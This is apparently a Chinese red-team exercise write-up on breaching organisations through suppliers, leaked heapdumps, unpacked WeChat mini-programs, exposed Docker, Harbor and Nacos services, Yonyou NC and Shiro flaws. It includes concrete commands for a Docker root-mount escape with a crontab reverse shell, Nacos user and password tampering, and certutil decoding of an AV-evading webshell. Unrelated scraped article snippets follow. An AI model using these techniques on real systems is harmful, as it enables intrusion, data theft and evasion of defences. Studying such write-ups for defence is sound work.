网络攻防实战演练
在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板...
1、供应链
在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板效应,一处出现短板,整个防护体系就可能瞬间崩溃。而目标单位的供应链往往是这些薄弱点的集中体现。这些供应链不仅暴露在外,而且由于复杂的关系,使得对它们的监控和管理变得更为困难。因此,攻击团队通常会选择从供应链着手,以一种迂回的方式绕过目标单位强大的防御体系,获得对目标单位的控制权限。
通过在搜索引擎上搜索"系统名称"目标单位
找到相关的供应商信息,通过对供应商进行攻击,获取目标单位的数据及权限。
1.1、heapdump泄露
通过对供应商资产进行渗透,发现某资产admin目录下存在heapdump文件泄露

对于heapdump的利用方式这里就不太赘述,有许多文章对其原理和利用都进行了深入的研究,特定情况下还可以直接进行RCE,这里泄露了大量敏感信息,密码信息加入密码本
登录MinIO,发现大量所属目标单位的敏感信息,也存在其它单位的敏感信息
登录Nacos,大量配置文件,密码信息加入密码本!
登录OSS,发现大量所属目标单位的敏感信息
1.2、微信小程序接口未授权
1.2.1、微信小程序解包
想要对微信小程序进行解包操作,首先是要获取目标小程序的wxapkg文件。wxapkg文件是微信小程序的安装包文件格式,用于将小程序的代码、资源以及其他必要的文件打包成一个单独的文件。但是Windows环境下的wxapkg文件中的js代码和资源文件一般是被加密的,需要使用专门设计的解密工具先进行解密,再进行解包操作,获取文件内容。iOS和Android平台下可直接进行解包操作。
1.2.1.1、获取wxapkg文件
在获取wxapkg文件时,最好将文件夹中的文件先删除,然后再重新打开小程序,防止其它文件干扰
iOS wxapkg 文件存放路径为:
/var/mobile/Containers/Data/Application/{系统UUID}/Library/WechatPrivate/{user哈希值}/WeApp/LocalCache/release/{小程序的AppID}
Android wxapkg 文件存放路径为:
/data/data/com.tencent.mm/MicroMsg/{user哈希值}/appbrand/pkg/
Windows wxapkg 文件存放路径为:
C:\Users\{系统用户名}\Documents\WeChat Files\Applet\{小程序的AppID}\
1.2.1.2、解密操作
下面两个github项目都可以进行解密操作
https://github.com/superdashu/pc_wxapkg_decrypt_python
https://github.com/BlackTrace/pc_wxapkg_decrypt
解密原理
成功解密
.2.1.2、解包操作
国光大佬提供的工具下载链接
https://sqlsec.lanzoub.com/i1NEP0mx694f
node wuWxapkg.js 1.wxapkg
对小程序进行解包操作,获取到前端JS代码后中,从中进行提取获得接口
直接访问目标接口,前端页面虽然显示初始化失败
但流量包中已获取数据,近千万条目标单位敏感信息
1.3、web程序越权
通过上述收集到的密码,撞密码撞出一个账号,但是此账号为最低权限,无任何操作权限,点击搜索组织架构,此时无任何返回信息
抓包将parentId和orgLevel去除,再发包,即可越权看到全员组织架构
点击修改密码,然后将上述获取到的roleId添加进去,即可获取全部权限
获取到大量数据
1.4、公众号
js泄露密码,密码可撞库目标单位公众号
2、云原生安全
容器化部署和微服务架构为应用程序开发和部署提供了更好的灵活性、可伸缩性、可维护性和性能,受到了越来越多厂商的使用,新的应用就会引入新的攻击面,如容器逃逸、服务间攻击、API滥用等。攻击者可以利用这些新的入口点来攻击应用程序和数据。并且在云原生环境下管理用户和服务的身份验证和授权变得更加复杂。许多应用开发商在追求容器化和云原生架构的便利性和效率时,安全性常常被忽视或放在次要位置。这就直接导致了云原生环境的脆弱,容易受到各种安全威胁和攻击。
2.1、Harbor 镜像仓库
Harbor是一个开源的容器镜像仓库管理器,旨在帮助组织存储、管理和分发Docker容器镜像,但是Harbor存在一个充满争议的“漏洞”:任意用户能够直接获取public的镜像。

可以直接拉取下载镜像文件,可以利用脚本批量下载
2.2、疑似后门
通过镜像文件获取jar包,获取配置文件等敏感信息,对jar包的class文件进行反编译,进行代码审计获取到一个类似后门的漏洞,该接口只需要使用用户名,即可登录系统后台。管理员权限配合文件上传获取服务器权限。
通过配置文件连接数据库等
2.3、docker未授权
2.3.1、 registry api未授权访问
在 Docker Registry API 中,认证和授权通常是基于访问令牌(Access Token)或者用户名和密码的。如果未正确设置访问控制权限,即会造成未授权访问漏洞,攻击者可直接下载registry仓库的所有镜像容器。
访问/v2/_catalog接口即可查看全部仓库内容
https://github.com/Soufaker/docker_v2_catalog
利用上述工具可直接下载镜像
2.3.2、 Docker Remote API未授权访问
为了管理容器集群,Docker允许Daemon作为后台守护进程执行通过管理接口发送的Docker命令,使用参数-H 0.0.0.0:2375启动Docker Daemon时,将开放2375端口接收来自远程Docker客户端的命令。在这种情况下,2375端口被作为非加密端口暴露出来,并且不存在任何形式的身份验证,攻击者可以直接使用Docker命令连接到Docker Daemon,并对容器进行直接操作,配合根目录挂载即可实现容器逃逸。
#查看容器
docker -H tcp://<target>:2375 ps -a
#挂载宿主机的根目录到容器内的mnt目录
docker -H tcp://<target>:2375 run -it -v /:/mnt nginx:latest /bin/bash
#反弹shell
echo '反弹shell命令' >> /mnt/var/spool/cron/crontabs/root
2.4、Nacos
Nacos是一个开源的动态服务发现、配置管理和服务管理平台,它提供了注册中心、配置中心和服务管理等功能,帮助开发人员实现微服务架构中的服务注册、配置管理以及服务发现等需求。
作为一个开源工具,漏洞还是被披露不少的,
未授权访问:/nacos/v1/auth/users?pageNo=1&pageSize=1 直接查看用户
任意用户添加:POST /nacos/v1/auth/users username=&password=
任意用户密码修改:curl -X PUT 'http://127.0.0.1:8848/nacos/v1/auth/users?accessToken\=' -H 'User-Agent:Nacos-Server' -d 'username\=test1&newPassword\=test2'
弱口令:nacos/nacos
通过编排密码爆破进后台,发现大量配置文件,但敏感信息均被加密
2.4.1、Jasypt加密
Spring 的配置文件中会有一些敏感信息,如数据库密码,因此有时我们希望将敏感信息加密,Jasypt 就是其中比较方便的工具,Jasypt 是一个 Java 库,用于简化敏感数据(如密码、API 密钥等)的加密和解密操作。
加密的内容需要用 ENC(..) 括起来,加密用的密码通过 jasypt.encryptor.password 指定。
spring:datasource:username: your-usernamepassword: ENC(encrypted-password)
因为必须要解密,密码就需要放在配置文件里,或者放在代码中:
# application.ymljasypt:encryption:password: 密码algorithm: 加密方式
解密数据:使用解密器的 decrypt 方法对加密的数据进行解密操作。
import org.jasypt.util.text.BasicTextEncryptor;public class DecryptionExample {public static void main(String[] args) {String encryptionKey = "yourEncryptionKey"; // 加密密钥BasicTextEncryptor textEncryptor = new BasicTextEncryptor();textEncryptor.setPassword(encryptionKey);String encryptedText = "encryptedText"; // 加密后的数据String decryptedText = textEncryptor.decrypt(encryptedText);System.out.println("Decrypted Text: " + decryptedText);}
}
但是客户端加密的安全性主要依赖于客户端代码的保护和可信任性,当密码泄露后,加密也就自然失效了,在ncaos一个文件中发现jasypt加密密码,可以直接进行解密操作
成功连接OSS
成功连接数据库
小程序token,接管小程序
达梦数据库是国产化的关系型数据库,使用下面工具可以进行连接
https://github.com/864381832/x-RdbmsSyncTool/releases/tag/v0.0.3
3、Nday
3.1、yongyouNC jsInvoke rce漏洞
漏洞利用方法,通过Java反射机制创建一个javax.naming.InitialContext对象,并使用LDAP协议连接到指定的IP地址和端口,然后调用"nc.itf.iufo.IBaseSPService"服务中的"saveXStreamConfig"方法,接受对象和字符串作为参数,达到命令执行的效果。
命令执行成功,但是目标系统存在杀软,无法直接上传文件
3.1.1、certutil
certutil 是 Windows 操作系统中的一个命令行工具,主要用于处理证书和加密相关的操作,利用 certutil的解密操作可以绕过杀软。
echo bash64编码后的免杀马 > myfile.jsp
使用certutil进行解码
certutil -decode 木马相对路径 解码后的木马相对路径

冰蝎上线并上线CS

3.2、若依二开
shiro的洞修复了,找到一个前台信息泄露漏洞

通过获取到的用户名,使用弱口令进入后台,普通权限

再次对公告发布人员猜解密码,成功登录后台,多了系统管理权限,直接添加用户赋予最高权限

新增用户登录,发现定时任务功能,直接使用定时任务执行命令

3.3、shiro
目标路径在被访问时,会先跳转到统一认证登录,导致大部分都忽视了该路径是存在shiro反序列化漏洞的

本着试一试的心态进行了shiro的扫描,默认密钥,直接获取权限

看到这里了,点个“赞”、“再看”吧
相关文章:
网络攻防实战演练
在经历了多年的攻防对抗之后,大量目标单位逐渐认识到安全防护的重要性。因此,他们已采取措施尽可能收敛资产暴露面,并加倍部署各种安全设备。但安全防护注重全面性,具有明显的短板... 1、供应链 在经历了多年的攻防对抗之后&…...
基于Keil a51汇编 —— 标准宏定义
定义标准宏 标准宏定义如下: macro-name MACRO <[>parameter-list<]> <[>LOCAL local-labels<]> . . . macro-body . . .ENDMmacro-name 宏的名称 parameter-list 可以传递给宏的形式参数的可选列表 LOAD_R0 MACRO R0_ValMOV R0, #R0_…...
遍历List集合
1.初始化 // 写法一 List<String> list new ArrayList<>(); list.add("a"); list.add("b"); list.add("c");// 写法二 List<String> list new ArrayList(){{add("a");add(&quo…...
k8s containerd查看镜像
直接查看crictl image会报错: 1) crictl config runtime-endpoint unix:///run/containerd/containerd.sock 2) vi /etc/crictl.yaml 3) systemctl daemon-reload 此时,再查看image:...
acwing.893. 集合-Nim游戏(博弈论sg函数模板)
给定 n� 堆石子以及一个由 k� 个不同正整数构成的数字集合 S�。 现在有两位玩家轮流操作,每次操作可以从任意一堆石子中拿取石子,每次拿取的石子数量必须包含于集合 S�,最后无法进行操作的人视…...
数据安全防护:云访问安全代理(CASB)
云访问安全代理(Cloud Access Security Broker,CASB),是一款面向应用的数据防护服务,基于免应用开发改造的配置方式,提供数据加密、数据脱敏功能。数据加密支持国密算法,提供面向服务侧的字段级…...
面试准备-操作系统
参考: 《程序员面试笔试宝典》(何昊、叶向阳) 进程是系统进行资源分配和调度的一个独立单位。线程是进程的一个实体,是cpu调度和分配的基本单位。线程基本不拥有系统资源,只拥有必须的,但是同属于一个进程…...
深度学习基础知识 Batch Normalization的用法解析
深度学习基础知识 Batch Normalization的用法解析 import numpy as np import torch.nn as nn import torchdef bn_process(feature, mean, var):feature_shape feature.shapefor i in range(feature_shape[1]):# [batch, channel, height, width]feature_t feature[:, i, :,…...
Centos7安装MongoDB7.xxNoSQL数据库|设置开机启动(骨灰级+保姆级)
一: mongodb下载 MongoDB 社区免费下载版 MongoDB社区下载版 [rootwww tools]# wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel70-7.1.0-rc4.tgz 二: 解压到指定目录 [rootwww tools]# mkdir -p /usr/local/mongodb [rootwww tools]# tar -zxvf mongodb-…...
JDK、JRE、JVM三者之间的关系
1.JDK 基本介绍 1) JDK 的全称 (Java Development Kit Java 开发工具包 ) JDK JRE java 的开发工具 [java, javac,javadoc,javap 等 ] 2) JDK 是提供给 Java 开发人员使用的,其中包含了 java 的开发工具,也包括了 JRE 。所以安装了 JDK ,就…...
【ppt技巧】批量修改ppt中的字体
PPT文件中的字体想要全部更换,有什么方便的方法吗?今天分享两个方法,一键修改ppt文件字体。 方法一: 找到功能栏中的编辑选项卡,点击替换 – 替换字体,在里面选择我们想要替换的字体就可以了。 方法二&am…...
RustDay01——运行在线GitHub Rust环境
1.跟着教程进入GitHub教室 2. 授权确认后进入学习空间 3.点击链接进入在线平台 4.添加本机密钥对到GitHub 5. 安装依赖 我们使用在线的Linux试验平台,就自动帮我们clone好了仓库 我们直接在仓库目录执行 cargo install --force --path . 安装依赖 PS:其实刚开始…...
上门按摩小程序|同城上门按摩软件开发|上门按摩系统;
上门按摩小程序的开发具有许多优势,下面就给大家介绍下按摩小程序功能: 上门按摩小程序的优势 方便快捷:上门按摩小程序提供在线预约服务,用户可以通过手机随时随地预约按摩师上门服务,避免了传统预约方式的繁琐和不确定性。 个性…...
rpm安装mysql8后碰到的问题
1 mysqld 无法启动 原因 已经使用了3306端口,修改my.cnf中端口为3308 2 修改为3308端口后,还是无法启动, 2023-10-07T02:20:10.096689Z 0 [ERROR] [MY-010262] [Server] Cant start server: Bind on TCP/IP port: Permission denied 2023…...
Linux 磁盘管理+实例
目录 一、文件系统 二、添加磁盘 三、查看磁盘信息(块设备) 四、分区 1、格式 1)MBR分区 2)GPT分区 2、管理分区 1)使用fdisk 2)使用gdisk 3)使用parted a.交互式 b.非交互式 3、…...
MongoDB——centOS7安装mongodb5.0.21版本服务端(图解版)
目录 一、mongodb官网下载地址二、安装步骤2.1、上传安装包并解压2.2、配置环境变量2.3、创建目录并授权2.4、创建配置文件2.5、启动MongoDB 三、开放端口四、客户端连接 一、mongodb官网下载地址 mongodb官网下载地址:https://www.mongodb.com/try/download/commu…...
C#实现OPC DA转OPC UA服务器
运行软件前提前安装好OPC运行组件: 为方便演示,提前准备好了一个DAServer服务器: 接下来开始配置: 该软件主要实现的功能如下: 配置过程也相对简单: 第一步: 编辑如下文件: 第二步…...
TCP/IP网络协议通信函数接口
创建套接字函数 socket 【头文件】 #include <sys/types.h> #include <sys/socket.h> 【函数原型】 int socket(int domain, int type, int protocol); 【函数功能】 socket 函数创建一个通信端点,并返回一个引用该端点的文件描述符,…...
go语言判断管道是否关闭的误区
前言 本文是探讨的是"在Go语言中,我们是否可以使用读取管道时的第二个返回值来判断管道是否关闭?" 样例 在Go语言中,我们是否可以使用读取管道时的第二个返回值来判断管道是否关闭? 可以看下面的代码 package mainimport "fmt"…...
如何轻松使用 ChatGPT 进行论文大纲和创作
ChatGPT能够编写复杂的代码、博客文章等,它可以帮助我们做很多事情。今天本篇文章分享的主要内容如何利用 ChatGPT 来撰写论文文章。下面会介绍如何轻松使用 ChatGPT 进行论文大纲和创作! 1、使用 ChatGPT 确定主题 文章非常重要的一个部分就是主题。如…...
【Linux】shell脚本忽略错误继续执行
在 shell 脚本中,可以使用 set -e 命令来设置脚本在遇到错误时退出执行。如果你希望脚本忽略错误并继续执行,可以在脚本开头添加 set e 命令来取消该设置。 举例1 #!/bin/bash# 取消 set -e 的设置 set e# 执行命令,并忽略错误 rm somefile…...
Redis相关知识总结(缓存雪崩,缓存穿透,缓存击穿,Redis实现分布式锁,如何保持数据库和缓存一致)
文章目录 1.什么是Redis?2.为什么要使用redis作为mysql的缓存?3.什么是缓存雪崩、缓存穿透、缓存击穿?3.1缓存雪崩3.1.1 大量缓存同时过期3.1.2 Redis宕机 3.2 缓存击穿3.3 缓存穿透3.4 总结 4. 数据库和缓存如何保持一致性5. Redis实现分布式…...
大型活动交通拥堵治理的视觉算法应用
大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动(如演唱会、马拉松赛事、高考中考等)期间,城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例,暖城商圈曾因观众集中离场导致周边…...
[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?
论文网址:pdf 英文是纯手打的!论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误,若有发现欢迎评论指正!文章偏向于笔记,谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...
2021-03-15 iview一些问题
1.iview 在使用tree组件时,发现没有set类的方法,只有get,那么要改变tree值,只能遍历treeData,递归修改treeData的checked,发现无法更改,原因在于check模式下,子元素的勾选状态跟父节…...
《基于Apache Flink的流处理》笔记
思维导图 1-3 章 4-7章 8-11 章 参考资料 源码: https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...
有限自动机到正规文法转换器v1.0
1 项目简介 这是一个功能强大的有限自动机(Finite Automaton, FA)到正规文法(Regular Grammar)转换器,它配备了一个直观且完整的图形用户界面,使用户能够轻松地进行操作和观察。该程序基于编译原理中的经典…...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
音视频——I2S 协议详解
I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议,专门用于在数字音频设备之间传输数字音频数据。它由飞利浦(Philips)公司开发,以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...
代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...
